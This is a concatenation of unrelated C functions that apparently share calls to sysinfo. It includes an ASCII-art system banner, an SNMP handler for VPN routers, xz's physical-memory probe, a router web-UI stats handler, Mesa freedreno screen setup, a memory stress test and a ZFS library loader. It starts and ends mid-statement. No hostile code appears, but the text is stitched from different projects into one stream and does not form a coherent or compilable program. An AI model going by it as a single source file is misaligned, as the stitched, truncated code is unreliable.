██"Z0);printf(CLR_GRY"▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀\n"CLR_RST); printf(Z2" ███ ▒███ ███▓ ██ ███ ███"Z0);printf(Z3" ▄███████▄ ▄████████ ▄████████ ████████▄ ███ █▄ ▄████████ \n"Z0); printf(Z2" ████ ▓██▓ ▒▒ ███ ████"Z0);printf(Z3"\t███ ███ ███ ███ ███ ███ ███ ▀███ ███ ███ ███ ███ \n"Z0); printf(Z2" ▓███████▓ ███▒ █▒ ████████▒"Z0);printf(Z3"\t███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ █▀ \n"Z0); printf(Z2" █████▒ ██████"Z0);printf(Z3"\t███ ███ ███ ███ ▄███▄▄▄▄██▀ ███ ███ ███ ███ ███ \n"Z0); printf(Z2" ▒███▒ ▓███"Z0);printf(Z3" ▀█████████▀ ▀███████████ ▀▀███▀▀▀▀▀ ███ ███ ███ ███ ▀███████████ \n"Z0); printf(Z2" ███▒ ███▒"Z0);printf(Z3"\t███ ███ ███ ▀███████████ ███ ███ ███ ███ ███ \n"Z0); printf(Z2" ▒██▒ ██▓███ ▒██▓▓██ ███"Z0);printf(Z3"\t███ ███ ███ ███ ███ ███ ▄███ ███ ███ ▄█ ███ \n"Z0); printf(Z2" ▒██ █ ▒█ ▒██"Z0);printf(Z3" ▄████▀ ███ █▀ ███ ███ ████████▀ ████████▀ ▄████████▀ \n"Z0); printf(Z2" ██▒ ██ █▓ ███"Z0);printf(CLR_GRY"▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀");printf(Z3"███");printf(CLR_GRY"▀▀▀▀"CLR_RST);;printf(Z3"███"Z0);printf(CLR_GRY"▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀\n"CLR_RST); printf(Z2" ███ ▒█ ▒█ ██ ███"Z0);printf(CLR_GRY"\t\t\t\t\t ║"CLR_RST);printf(Z3" OS "Z0);printf(CLR_GRY"║ %s\n"CLR_RST, uts.sysname); printf(Z2" ▓██ ▓█ ▒██▒"Z0);printf(CLR_GRY"\t\t\t\t\t ║"CLR_RST);printf(Z3" User "Z0);printf(CLR_GRY"║ %s\n"CLR_RST, p->pw_name);// getlogin()); printf(Z2" ██▓ ▒█ ▒█████████ █ ██████"Z0);printf(CLR_GRY"\t\t\t\t\t ║"CLR_RST);printf(Z3" Hostname "Z0);printf(CLR_GRY"║ %s\n"CLR_RST, computer); printf(Z2" ███ ██▒ ███████ ▓█▒ ██▓"Z0);printf(CLR_GRY"\t\t\t\t\t ║"CLR_RST);printf(Z3" Kernel "Z0);printf(CLR_GRY"║ %s\n"CLR_RST, uts.release); printf(Z2" ████▓ ███ ▓█▒ ▒███ ██▒ ▒██ ▓████"Z0);printf(CLR_GRY"\t\t\t\t\t ║"CLR_RST);printf(Z3" Hardware "Z0);printf(CLR_GRY"║ %s\n"CLR_RST, uts.machine); printf(Z2" ████████▒ ▒██▒ █ ▓█▓ ▓████████▒"Z0);printf(CLR_GRY"\t\t\t\t\t\t ║"CLR_RST);printf(Z3" Shell "Z0);printf(CLR_GRY"║ %s\n"CLR_RST, p->pw_shell); printf(Z2" ██ ▓████ ▒█ █ █▒ ████▒ ██"Z0);printf(CLR_GRY"\t\t\t\t\t\t ║"CLR_RST);printf(Z3" Userdir "Z0);printf(CLR_GRY"║ %s\n"CLR_RST, p->pw_dir); printf(Z2" █▓ █▒ ███ ██▓ ▒███ █▓ ██"Z0);printf(CLR_GRY"\t\t\t\t\t\t ║"CLR_RST);printf(Z3" Packages "Z0);printf(CLR_GRY"║ %s"CLR_RST, packages); printf(Z2" ▒█ █▒ ▓███▓███ ██▓███▓█ █▓ █"Z0);disk(); printf(Z2" ▒▓ █ ███▒ ▒███ ▓▓ █"Z0);printf(CLR_GRY"\t\t\t\t\t\t ║"CLR_RST);printf(Z3" Date "Z0);printf(CLR_GRY"║ %s"CLR_RST, ctime(&timeval)); printf(Z2" ▒█ █████████ █"Z0);printf(CLR_GRY"\t\t\t\t\t\t ╚═══════════╝\n"CLR_RST); printf(Z2" ▒▒ ▓"Z0); printf("\n"); } }
u_char * var_system(struct variable *vp, oid * name, size_t * length, int exact, size_t * var_len, WriteMethod ** write_method) { static u_long ulret; char model_name[16]; char DBdata[64]; struct sysinfo info; if (header_generic(vp, name, length, exact, var_len, write_method) == MATCH_FAILED) return NULL; switch (vp->magic) { case VERSION_DESCR: #ifdef CONFIG_MODEL_RV0XX /* purpose : 0012731 author : Gavin.Lin date : 2010-06-23 */ /* description : Set VERSION_DESCR by Model */ kd_doCommand("VERSION MODEL", CMD_PRINT, ASH_DO_NOTHING, DBdata); if (!strcmp("RV042", DBdata)) { sprintf(version_descr, "10/100 4-Port VPN Router"); } if (!strcmp("RV082", DBdata)) { sprintf(version_descr, "10/100 8-Port VPN Router"); } if (!strcmp("RV016", DBdata)) { sprintf(version_descr, "10/100 16-Port VPN Router"); } #endif *var_len = strlen(version_descr); return (u_char *) version_descr; case VERSIONID: *var_len = sysObjectIDLength * sizeof(sysObjectID[0]); return (u_char *)sysObjectID; case UPTIME: /* purpose : 0013044 author : Gavin.Lin date : 2010-07-28 */ /* description : Get up time from sysinfo */ /* ulret = netsnmp_get_agent_uptime(); */ sysinfo(&info); ulret = info.uptime; ulret *= 100; return ((u_char *) & ulret); case SYSCONTACT: // Added by Gavin Lin, 2010/04/16 kd_doCommand("SNMP SCONTACT", CMD_PRINT, ASH_DO_NOTHING, sysContact); *var_len = strlen(sysContact); *write_method = writeSystem; return (u_char *) sysContact; case SYSTEMNAME: // Added by Gavin Lin, 2010/04/16 kd_doCommand("SNMP SNAME", CMD_PRINT, ASH_DO_NOTHING, sysName); *var_len = strlen(sysName); *write_method = writeSystem; return (u_char *) sysName; case SYSLOCATION: // Added by Gavin Lin, 2010/04/16 kd_doCommand("SNMP SLOCATION", CMD_PRINT, ASH_DO_NOTHING, sysLocation); *var_len = strlen(sysLocation); *write_method = writeSystem; return (u_char *) sysLocation; case SYSSERVICES: #if NETSNMP_NO_DUMMY_VALUES if (!sysServicesConfiged) return NULL; #endif long_return = sysServices; return (u_char *) & long_return; #ifdef USING_MIBII_SYSORTABLE_MODULE case SYSORLASTCHANGE: ulret = netsnmp_timeval_uptime(&sysOR_lastchange); return ((u_char *) & ulret); #endif default: DEBUGMSGTL(("snmpd", "unknown sub-id %d in var_system\n", vp->magic)); } return NULL; }
extern uint64_t tuklib_physmem(void) { uint64_t ret = 0; #if defined(_WIN32) || defined(__CYGWIN__) if ((GetVersion() & 0xFF) >= 5) { // Windows 2000 and later have GlobalMemoryStatusEx() which // supports reporting values greater than 4 GiB. To keep the // code working also on older Windows versions, use // GlobalMemoryStatusEx() conditionally. HMODULE kernel32 = GetModuleHandle("kernel32.dll"); typedef BOOL(WINAPI *gmse_t)(LPMEMORYSTATUSEX); if (kernel32 != NULL) { gmse_t gmse = (gmse_t)GetProcAddress(kernel32, "GlobalMemoryStatusEx"); if (gmse != NULL) { MEMORYSTATUSEX meminfo; meminfo.dwLength = sizeof(meminfo); if (gmse(&meminfo)) ret = meminfo.ullTotalPhys; } } } if (ret == 0) { // GlobalMemoryStatus() is supported by Windows 95 and later, // so it is fine to link against it unconditionally. Note that // GlobalMemoryStatus() has no return value. MEMORYSTATUS meminfo; meminfo.dwLength = sizeof(meminfo); GlobalMemoryStatus(&meminfo); ret = meminfo.dwTotalPhys; } #elif defined(__OS2__) unsigned long mem; if (DosQuerySysInfo(QSV_TOTPHYSMEM, QSV_TOTPHYSMEM, &mem, sizeof(mem)) == 0) ret = mem; #elif defined(__DJGPP__) __dpmi_free_mem_info meminfo; if (__dpmi_get_free_memory_information(&meminfo) == 0 && meminfo.total_number_of_physical_pages != (unsigned long)-1) ret = (uint64_t)meminfo.total_number_of_physical_pages * 4096; #elif defined(__VMS) int vms_mem; int val = SYI$_MEMSIZE; if (LIB$GETSYI(&val, &vms_mem, 0, 0, 0, 0) == SS$_NORMAL) ret = (uint64_t)vms_mem * 8192; #elif defined(TUKLIB_PHYSMEM_AIX) ret = _system_configuration.physmem; #elif defined(TUKLIB_PHYSMEM_SYSCONF) const long pagesize = sysconf(_SC_PAGESIZE); const long pages = sysconf(_SC_PHYS_PAGES); if (pagesize != -1 && pages != -1) // According to docs, pagesize * pages can overflow. // Simple case is 32-bit box with 4 GiB or more RAM, // which may report exactly 4 GiB of RAM, and "long" // being 32-bit will overflow. Casting to uint64_t // hopefully avoids overflows in the near future. ret = (uint64_t)pagesize * (uint64_t)pages; #elif defined(TUKLIB_PHYSMEM_SYSCTL) int name[2] = { CTL_HW, #ifdef HW_PHYSMEM64 HW_PHYSMEM64 #else HW_PHYSMEM #endif }; union { uint32_t u32; uint64_t u64; } mem; size_t mem_ptr_size = sizeof(mem.u64); if (sysctl(name, 2, &mem.u64, &mem_ptr_size, NULL, 0) != -1) { // IIRC, 64-bit "return value" is possible on some 64-bit // BSD systems even with HW_PHYSMEM (instead of HW_PHYSMEM64), // so support both. if (mem_ptr_size == sizeof(mem.u64)) ret = mem.u64; else if (mem_ptr_size == sizeof(mem.u32)) ret = mem.u32; } #elif defined(TUKLIB_PHYSMEM_GETSYSINFO) // Docs are unclear if "start" is needed, but it doesn't hurt // much to have it. int memkb; int start = 0; if (getsysinfo(GSI_PHYSMEM, (caddr_t)&memkb, sizeof(memkb), &start) != -1) ret = (uint64_t)memkb * 1024; #elif defined(TUKLIB_PHYSMEM_PSTAT_GETSTATIC) struct pst_static pst; if (pstat_getstatic(&pst, sizeof(pst), 1, 0) != -1) ret = (uint64_t)pst.physical_memory * (uint64_t)pst.page_size; #elif defined(TUKLIB_PHYSMEM_GETINVENT_R) inv_state_t *st = NULL; if (setinvent_r(&st) != -1) { inventory_t *i; while ((i = getinvent_r(st)) != NULL) { if (i->inv_class == INV_MEMORY && i->inv_type == INV_MAIN_MB) { ret = (uint64_t)i->inv_state << 20; break; } } endinvent_r(st); } #elif defined(TUKLIB_PHYSMEM_SYSINFO) struct sysinfo si; if (sysinfo(&si) == 0) ret = (uint64_t)si.totalram * si.mem_unit; #endif return ret; }
int ej_show_sysinfo(int eid, webs_t wp, int argc, char_t ** argv) { char *type; char result[2048]; int retval = 0; struct sysinfo sys; char *tmp; strcpy(result,"None"); if (ejArgs(argc, argv, "%s", &type) < 1) { websError(wp, 400, "Insufficient args\n"); return retval; } if (type) { if (strcmp(type,"cpu.model") == 0) { char *buffer = read_whole_file("/proc/cpuinfo"); if (buffer) { tmp = strstr(buffer, "system type"); if (tmp) sscanf(tmp, "system type : %[^\n]", result); free(buffer); } } else if(strcmp(type,"cpu.freq") == 0) { tmp = nvram_get("clkfreq"); if (tmp) sscanf(tmp,"%[^,]s", result); } else if(strcmp(type,"memory.total") == 0) { sysinfo(&sys); sprintf(result,"%.2f",(sys.totalram/(float)MBYTES)); } else if(strcmp(type,"memory.free") == 0) { sysinfo(&sys); sprintf(result,"%.2f",(sys.freeram/(float)MBYTES)); } else if(strcmp(type,"memory.buffer") == 0) { sysinfo(&sys); sprintf(result,"%.2f",(sys.bufferram/(float)MBYTES)); } else if(strcmp(type,"memory.swap.total") == 0) { sysinfo(&sys); sprintf(result,"%.2f",(sys.totalswap/(float)MBYTES)); } else if(strcmp(type,"memory.swap.used") == 0) { sysinfo(&sys); sprintf(result,"%.2f",((sys.totalswap - sys.freeswap) / (float)MBYTES)); } else if(strcmp(type,"cpu.load.1") == 0) { sysinfo(&sys); sprintf(result,"%.2f",(sys.loads[0] / (float)(1<<SI_LOAD_SHIFT))); } else if(strcmp(type,"cpu.load.5") == 0) { sysinfo(&sys); sprintf(result,"%.2f",(sys.loads[1] / (float)(1<<SI_LOAD_SHIFT))); } else if(strcmp(type,"cpu.load.15") == 0) { sysinfo(&sys); sprintf(result,"%.2f",(sys.loads[2] / (float)(1<<SI_LOAD_SHIFT))); } else if(strcmp(type,"nvram.total") == 0) { sprintf(result,"%d",NVRAM_SPACE); } else if(strcmp(type,"nvram.used") == 0) { char *buf; int size = 0; buf = malloc(NVRAM_SPACE); if (buf) { nvram_getall(buf, NVRAM_SPACE); tmp = buf; while (*tmp) tmp += strlen(tmp) +1; size = sizeof(struct nvram_header) + (int) tmp - (int) buf; free(buf); } sprintf(result,"%d",size); } else if(strcmp(type,"jffs.usage") == 0) { struct statvfs fiData; char *mount_info = read_whole_file("/proc/mounts"); if ((mount_info) && (strstr(mount_info, "/jffs")) && (statvfs("/jffs",&fiData) == 0 )) { sprintf(result,"%.2f / %.2f MB",((fiData.f_blocks-fiData.f_bfree) * fiData.f_frsize / (float)MBYTES) ,(fiData.f_blocks * fiData.f_frsize / (float)MBYTES)); } else { strcpy(result,"<i>Unmounted</i>"); } if (mount_info) free(mount_info); } else if(strncmp(type,"temperature",11) == 0) { unsigned int temperature; int radio=0; sscanf(type,"temperature.%d", &radio); temperature = get_phy_temperature(radio); if (temperature == 0) strcpy(result,"<i>disabled</i>"); else sprintf(result,"%u°C", temperature); } else if(strcmp(type,"conn.total") == 0) { FILE* fp; fp = fopen ("/proc/sys/net/ipv4/netfilter/ip_conntrack_count", "r"); if (fp) { if (fgets(result, sizeof(result), fp) != NULL) { fclose(fp); } } } else if(strcmp(type,"conn.active") == 0) { char buf[256]; FILE* fp; unsigned int established = 0; fp = fopen("/proc/net/nf_conntrack", "r"); if (fp) { while (fgets(buf, sizeof(buf), fp) != NULL) { if (strstr(buf,"ESTABLISHED") || ((strstr(buf,"udp")) && (strstr(buf,"ASSURED")))) established++; } fclose(fp); } sprintf(result,"%u",established); } else if(strcmp(type,"conn.max") == 0) { FILE* fp; fp = fopen ("/proc/sys/net/ipv4/netfilter/ip_conntrack_max", "r"); if (fp) { if (fgets(result, sizeof(result), fp) != NULL) { fclose(fp); } } } else if(strncmp(type,"conn.wifi",9) == 0) { int count, radio; char command[10]; sscanf(type,"conn.wifi.%d.%9s", &radio, command); if (strcmp(command,"autho") == 0) { count = get_wifi_clients(radio,SI_WL_QUERY_AUTHO); } else if (strcmp(command,"authe") == 0) { count = get_wifi_clients(radio,SI_WL_QUERY_AUTHE); } else if (strcmp(command,"assoc") == 0) { count = get_wifi_clients(radio,SI_WL_QUERY_ASSOC); } else { count = 0; } if (count == -1) strcpy(result,"<i>off</i>"); else sprintf(result,"%d",count); } else if(strcmp(type,"driver_version") == 0 ) { system("/usr/sbin/wl ver >/tmp/output.txt"); char *buffer = read_whole_file("/tmp/output.txt"); if (buffer) { if ((tmp = strstr(buffer, "\n"))) strncpy(result, tmp+1, sizeof result); else strncpy(result, buffer, sizeof result); free(buffer); unlink("/tmp/output.txt"); } } else if(strcmp(type,"cfe_version") == 0 ) { system("cat /dev/mtd0ro | grep bl_version >/tmp/output.txt"); char *buffer = read_whole_file("/tmp/output.txt"); if (buffer) { tmp = strstr(buffer, "bl_version="); if (tmp) sscanf(tmp, "bl_version=%s", result); else strcpy(result,"Unknown"); free(buffer); unlink("/tmp/output.txt"); } } else if(strncmp(type,"pid",3) ==0 ) { char service[32]; sscanf(type, "pid.%31s", service); if (strlen(service)) sprintf(result, "%d", pidof(service)); } else if(strncmp(type,"vpnstatus",9) == 0 ) { int num = 0, pid; char service[10], buf[256]; sscanf(type,"vpnstatus.%9[^.].%d", service, &num); if ((strlen(service)) && (num > 0) ) { // Trigger OpenVPN to update the status file snprintf(buf, sizeof(buf), "vpn%s%d", service, num); if ((pid = pidof(buf)) > 0) { kill(pid, SIGUSR2); // Give it a chance to update the file sleep(1); // Read the status file and repeat it verbatim to the caller sprintf(buf,"/etc/openvpn/%s%d/status", service, num); char *buffer = read_whole_file(buf); if (buffer) { strncpy(result, buffer, sizeof(result)); free(buffer); } } } } else if(strcmp(type,"ethernet") == 0 ) { int len, j; system("/usr/sbin/robocfg show >/tmp/output.txt"); char *buffer = read_whole_file("/tmp/output.txt"); if (buffer) { len = strlen(buffer); for (j=0; (j < len); j++) { if (buffer[j] == '\n') buffer[j] = '>'; } strncpy(result, buffer, sizeof result); free(buffer); unlink("/tmp/output.txt"); } } else { strcpy(result,"Not implemented"); } } retval += websWrite(wp, result); return retval; }
struct pipe_screen * fd_screen_create(struct fd_device *dev) { struct fd_screen *screen = CALLOC_STRUCT(fd_screen); struct pipe_screen *pscreen; uint64_t val; fd_mesa_debug = debug_get_option_fd_mesa_debug(); if (fd_mesa_debug & FD_DBG_NOBIN) fd_binning_enabled = false; glsl120 = !!(fd_mesa_debug & FD_DBG_GLSL120); if (!screen) return NULL; pscreen = &screen->base; screen->dev = dev; screen->refcnt = 1; // maybe this should be in context? screen->pipe = fd_pipe_new(screen->dev, FD_PIPE_3D); if (!screen->pipe) { DBG("could not create 3d pipe"); goto fail; } if (fd_pipe_get_param(screen->pipe, FD_GMEM_SIZE, &val)) { DBG("could not get GMEM size"); goto fail; } screen->gmemsize_bytes = val; if (fd_pipe_get_param(screen->pipe, FD_DEVICE_ID, &val)) { DBG("could not get device-id"); goto fail; } screen->device_id = val; if (fd_pipe_get_param(screen->pipe, FD_MAX_FREQ, &val)) { DBG("could not get gpu freq"); /* this limits what performance related queries are * supported but is not fatal */ screen->max_freq = 0; } else { screen->max_freq = val; if (fd_pipe_get_param(screen->pipe, FD_TIMESTAMP, &val) == 0) screen->has_timestamp = true; } if (fd_pipe_get_param(screen->pipe, FD_GPU_ID, &val)) { DBG("could not get gpu-id"); goto fail; } screen->gpu_id = val; if (fd_pipe_get_param(screen->pipe, FD_CHIP_ID, &val)) { DBG("could not get chip-id"); /* older kernels may not have this property: */ unsigned core = screen->gpu_id / 100; unsigned major = (screen->gpu_id % 100) / 10; unsigned minor = screen->gpu_id % 10; unsigned patch = 0; /* assume the worst */ val = (patch & 0xff) | ((minor & 0xff) << 8) | ((major & 0xff) << 16) | ((core & 0xff) << 24); } screen->chip_id = val; if (fd_pipe_get_param(screen->pipe, FD_NR_RINGS, &val)) { DBG("could not get # of rings"); screen->priority_mask = 0; } else { /* # of rings equates to number of unique priority values: */ screen->priority_mask = (1 << val) - 1; } struct sysinfo si; sysinfo(&si); screen->ram_size = si.totalram; DBG("Pipe Info:"); DBG(" GPU-id: %d", screen->gpu_id); DBG(" Chip-id: 0x%08x", screen->chip_id); DBG(" GMEM size: 0x%08x", screen->gmemsize_bytes); /* explicitly checking for GPU revisions that are known to work. This * may be overly conservative for a3xx, where spoofing the gpu_id with * the blob driver seems to generate identical cmdstream dumps. But * on a2xx, there seem to be small differences between the GPU revs * so it is probably better to actually test first on real hardware * before enabling: * * If you have a different adreno version, feel free to add it to one * of the cases below and see what happens. And if it works, please * send a patch ;-) */ switch (screen->gpu_id) { case 220: fd2_screen_init(pscreen); break; case 305: case 307: case 320: case 330: fd3_screen_init(pscreen); break; case 420: case 430: fd4_screen_init(pscreen); break; case 530: fd5_screen_init(pscreen); break; default: debug_printf("unsupported GPU: a%03d\n", screen->gpu_id); goto fail; } if (screen->gpu_id >= 500) { screen->gmem_alignw = 64; screen->gmem_alignh = 32; screen->num_vsc_pipes = 16; } else { screen->gmem_alignw = 32; screen->gmem_alignh = 32; screen->num_vsc_pipes = 8; } /* NOTE: don't enable reordering on a2xx, since completely untested. * Also, don't enable if we have too old of a kernel to support * growable cmdstream buffers, since memory requirement for cmdstream * buffers would be too much otherwise. */ if ((screen->gpu_id >= 300) && (fd_device_version(dev) >= FD_VERSION_UNLIMITED_CMDS)) screen->reorder = !(fd_mesa_debug & FD_DBG_INORDER); fd_bc_init(&screen->batch_cache); (void) mtx_init(&screen->lock, mtx_plain); pscreen->destroy = fd_screen_destroy; pscreen->get_param = fd_screen_get_param; pscreen->get_paramf = fd_screen_get_paramf; pscreen->get_shader_param = fd_screen_get_shader_param; pscreen->get_compute_param = fd_get_compute_param; pscreen->get_compiler_options = fd_get_compiler_options; fd_resource_screen_init(pscreen); fd_query_screen_init(pscreen); pscreen->get_name = fd_screen_get_name; pscreen->get_vendor = fd_screen_get_vendor; pscreen->get_device_vendor = fd_screen_get_device_vendor; pscreen->get_timestamp = fd_screen_get_timestamp; pscreen->fence_reference = fd_fence_ref; pscreen->fence_finish = fd_fence_finish; pscreen->fence_get_fd = fd_fence_get_fd; slab_create_parent(&screen->transfer_pool, sizeof(struct fd_transfer), 16); return pscreen; fail: fd_screen_destroy(pscreen); return NULL; }
long uptime(void) { struct sysinfo info; sysinfo(&info); return info.uptime; }
int main(int argc, char *argv[]) { unsigned long long num_nodes, ram_size; unsigned long num_forks = 1; struct sysinfo info; void *shm; int *cond; struct sigaction zig; int c, add_wait = -1, is_parent = 1; #ifdef __cpu_set_t_defined int affinity = 0; cpu_set_t my_cpu_mask; #endif /* By default we'll use 1/16th of total RAM, rounded * down to the nearest page. */ if (sysinfo(&info) != 0) { perror("sysinfo"); return 1; } ram_size = info.totalram / 16; ram_size = ram_size & ~(getpagesize() - 1); num_nodes = ram_size / sizeof(void *); /* Parse command line args */ while ((c = getopt(argc, argv, "a:p:n:d:s:t")) != -1) { switch (c) { case 'p': num_forks = atoi(optarg); break; case 'd': ram_size = info.totalram / atoi(optarg); ram_size = ram_size & ~(getpagesize() - 1); num_nodes = ram_size / sizeof(void *); break; case 'n': num_nodes = atoi(optarg); ram_size = num_nodes * sizeof(void *); break; case 's': report_interval = atoi(optarg); break; case 'a': add_wait = atoi(optarg); break; #ifdef __cpu_set_t_defined case 't': affinity = 1; break; #endif default: print_help(argv[0]); return 0; } } /* Will we exceed half the address space size? Use 1/4 of it at most. */ if (ram_size > ((unsigned long long)1 << ((sizeof(void *) * 8) - 1))) { printf("Was going to use %lluKB (%llu nodes) but that's too big.\n", ram_size / 1024, num_nodes); ram_size = ((unsigned long long)1 << (sizeof(void *) * 8)); ram_size /= 4; num_nodes = ram_size / sizeof(void *); printf("Clamping to %lluKB (%llu nodes) instead.\n", ram_size / 1024, num_nodes); } /* Talk about what we're going to do. */ printf("Going to use %lluKB (%llu nodes).\n", ram_size / 1024, num_nodes); /* Make a shared anonymous map of the RAM */ shm = mmap(NULL, ram_size, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, 0, 0); if (shm == MAP_FAILED) { perror("mmap"); return 2; } printf("mmap region: %p (%llu nodes)\n", shm, num_nodes); /* Create an SHM condition variable. Bogus, I know... */ cond = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, 0, 0); if (cond == MAP_FAILED) { perror("mmap"); return 4; } *cond = 1; /* Create a "graph" by populating it with random pointers. */ printf("Populating nodes..."); fflush(stdout); populate_graph(shm, num_nodes); printf("done.\n"); printf("Creating %lu processes with reports every %lu seconds \ and %d seconds between adding children.\n", num_forks, report_interval, add_wait); /* Fork off separate processes. The shared region is shared * across all children. If we only wanted one thread, we shouldn't * fork anything. Note that the "cond" mmap is a really crappy * condition variable kludge that works well enough for HERE ONLY. */ for (c = (add_wait >= 0 ? 0 : 1); c < num_forks; c++) { /* Child should wait for the condition and then break. */ if (!fork()) { #ifdef __cpu_set_t_defined if (affinity) { CPU_ZERO(&my_cpu_mask); CPU_SET(c, &my_cpu_mask); if (0 != sched_setaffinity(0,sizeof(cpu_set_t), &my_cpu_mask)) { perror("sched_setaffinity"); } } #endif is_parent = 0; while (*cond) { usleep(10000); } break; } } if (is_parent) { #ifdef __cpu_set_t_defined if (affinity) { CPU_ZERO(&my_cpu_mask); CPU_SET(0, &my_cpu_mask); if (0 != sched_setaffinity(0,sizeof(cpu_set_t), &my_cpu_mask)) { perror("sched_setaffinity"); } } #endif printf("All threads created. Launching!\n"); *cond = 0; } /* now start the work */ if (!is_parent) { start_thread: /* Set up the alarm handler to print speed info. */ memset(&zig, 0x00, sizeof(zig)); zig.sa_handler = alarm_func; sigaction(SIGALRM, &zig, NULL); gettimeofday(&last, NULL); alarm(report_interval); /* Walk the graph. */ walk_graph(shm); /* This function never returns */ } else { /* Start the ramp-up. The children will never die, * so we don't need to wait() for 'em. */ while (add_wait != -1) { sleep(add_wait); if (fork() == 0) { /* goto is cheesy, but works. */ goto start_thread; } else { printf("Added thread.\n"); } } goto start_thread; } return 0; }
static void _zfs_init_libshare(void) { #ifdef illumos void *libshare; char path[MAXPATHLEN]; char isa[MAXISALEN]; #if defined(_LP64) if (sysinfo(SI_ARCHITECTURE_64, isa, MAXISALEN) == -1) isa[0] = '\0'; #else isa[0] = '\0'; #endif (void) snprintf(path, MAXPATHLEN, "/usr/lib/%s/libshare.so.1", isa); if ((libshare = dlopen(path, RTLD_LAZY | RTLD_GLOBAL)) != NULL) { _sa_init = (sa_handle_t (*)(int))dlsym(libshare, "sa_init"); _sa_init_arg = (sa_handle_t (*)(int, void *))dlsym(libshare, "sa_init_arg"); _sa_fini = (void (*)(sa_handle_t))dlsym(libshare, "sa_fini"); _sa_find_share = (sa_share_t (*)(sa_handle_t, char *)) dlsym(libshare, "sa_find_share"); _sa_enable_share = (int (*)(sa_share_t, char *))dlsym(libshare, "sa_enable_share"); _sa_disable_share = (int (*)(sa_share_t, char *))dlsym(libshare, "sa_disable_share"); _sa_errorstr = (char *(*)(int))dlsym(libshare, "sa_errorstr"); _sa_parse_legacy_options = (int (*)(sa_group_t, char *, char *)) dlsym(libshare, "sa_parse_legacy_options"); _sa_needs_refresh = (boolean_t (*)(sa_handle_t *)) dlsym(libshare, "sa_needs_refresh"); _sa_get_zfs_handle = (libzfs_handle_t *(*)(sa_handle_t)) dlsym(libshare, "sa_get_zfs_handle"); _sa_zfs_process_share = (int (*)(sa_handle_t, sa_group_t, sa_share_t, char *, char *, zprop_source_t, char *, char *, char *))dlsym(libshare, "sa_zfs_process_share"); _sa_update_sharetab_ts = (void (*)(sa_handle_t)) dlsym(libshare, "sa_update_sharetab_ts"); if (_sa_init == NULL || _sa_init_arg == NULL || _sa_fini == NULL || _sa_find_share == NULL || _sa_enable_share == NULL || _sa_disable_share == NULL || _sa_errorstr == NULL || _sa_parse_legacy_options == NULL || _sa_needs_refresh == NULL || _sa_get_zfs_handle == NULL || _sa_zfs_process_share == NULL || _sa_update_sharetab_ts == NULL) { _sa_init = NULL; _sa_init_arg = NULL; _sa_fini = NULL; _sa_disable_share = NULL; _sa_enable_share = NULL; _sa_errorstr = NULL; _sa_parse_legacy_options = NULL; (void) dlclose(libshare); _sa_needs_refresh = NULL; _sa_get_zfs_handle = NULL; _sa_zfs_process_share = NULL; _sa_update_sharetab_ts = NULL; } } #endif }
void GlobalMemoryStatusEx(LPMEMORYSTATUSEX lpBuffer) { if (!lpBuffer) return; memset(lpBuffer, 0, sizeof(MEMORYSTATUSEX)); lpBuffer->dwLength = sizeof(MEMORYSTATUSEX); #ifdef __APPLE__ uint64_t physmem; size_t len = sizeof physmem; int mib[2] = { CTL_HW, HW_MEMSIZE }; size_t miblen = sizeof(mib) / sizeof(mib[0]); // Total physical memory. if (sysctl(mib, miblen, &physmem, &len, NULL, 0) == 0 && len == sizeof (physmem)) lpBuffer->ullTotalPhys = physmem; // Virtual memory. mib[0] = CTL_VM; mib[1] = VM_SWAPUSAGE; struct xsw_usage swap; len = sizeof(struct xsw_usage); if (sysctl(mib, miblen, &swap, &len, NULL, 0) == 0) { lpBuffer->ullAvailPageFile = swap.xsu_avail; lpBuffer->ullTotalVirtual = lpBuffer->ullTotalPhys + swap.xsu_total; } // In use. mach_port_t stat_port = mach_host_self(); vm_statistics_data_t vm_stat; mach_msg_type_number_t count = sizeof(vm_stat) / sizeof(natural_t); if (host_statistics(stat_port, HOST_VM_INFO, (host_info_t)&vm_stat, &count) == 0) { // Find page size. int pageSize; mib[0] = CTL_HW; mib[1] = HW_PAGESIZE; len = sizeof(int); if (sysctl(mib, miblen, &pageSize, &len, NULL, 0) == 0) { uint64_t used = (vm_stat.active_count + vm_stat.inactive_count + vm_stat.wire_count) * pageSize; lpBuffer->ullAvailPhys = lpBuffer->ullTotalPhys - used; lpBuffer->ullAvailVirtual = lpBuffer->ullAvailPhys; // FIXME. } } #elif defined(__FreeBSD__) /* sysctl hw.physmem */ size_t physmem = 0, mem_free = 0, pagesize = 0, swap_free = 0; size_t mem_avail = 0, mem_inactive = 0, mem_cache = 0, len = 0; /* physmem */ len = sizeof(physmem); if (sysctlbyname("hw.physmem", &physmem, &len, NULL, 0) == 0) { lpBuffer->ullTotalPhys = physmem; lpBuffer->ullTotalVirtual = physmem; } /* pagesize */ len = sizeof(pagesize); if (sysctlbyname("hw.pagesize", &pagesize, &len, NULL, 0) != 0) pagesize = 4096; /* mem_inactive */ len = sizeof(mem_inactive); if (sysctlbyname("vm.stats.vm.v_inactive_count", &mem_inactive, &len, NULL, 0) == 0) mem_inactive *= pagesize; /* mem_cache */ len = sizeof(mem_cache); if (sysctlbyname("vm.stats.vm.v_cache_count", &mem_cache, &len, NULL, 0) == 0) mem_cache *= pagesize; /* mem_free */ len = sizeof(mem_free); if (sysctlbyname("vm.stats.vm.v_free_count", &mem_free, &len, NULL, 0) == 0) mem_free *= pagesize; /* mem_avail = mem_inactive + mem_cache + mem_free */ lpBuffer->ullAvailPhys = mem_inactive + mem_cache + mem_free; lpBuffer->ullAvailVirtual = mem_inactive + mem_cache + mem_free; if (sysctlbyname("vm.stats.vm.v_swappgsout", &swap_free, &len, NULL, 0) == 0) lpBuffer->ullAvailPageFile = swap_free * pagesize; #else struct sysinfo info; char name[32]; unsigned val; if (!procMeminfoFP && (procMeminfoFP = fopen("/proc/meminfo", "r")) == NULL) sysinfo(&info); else { memset(&info, 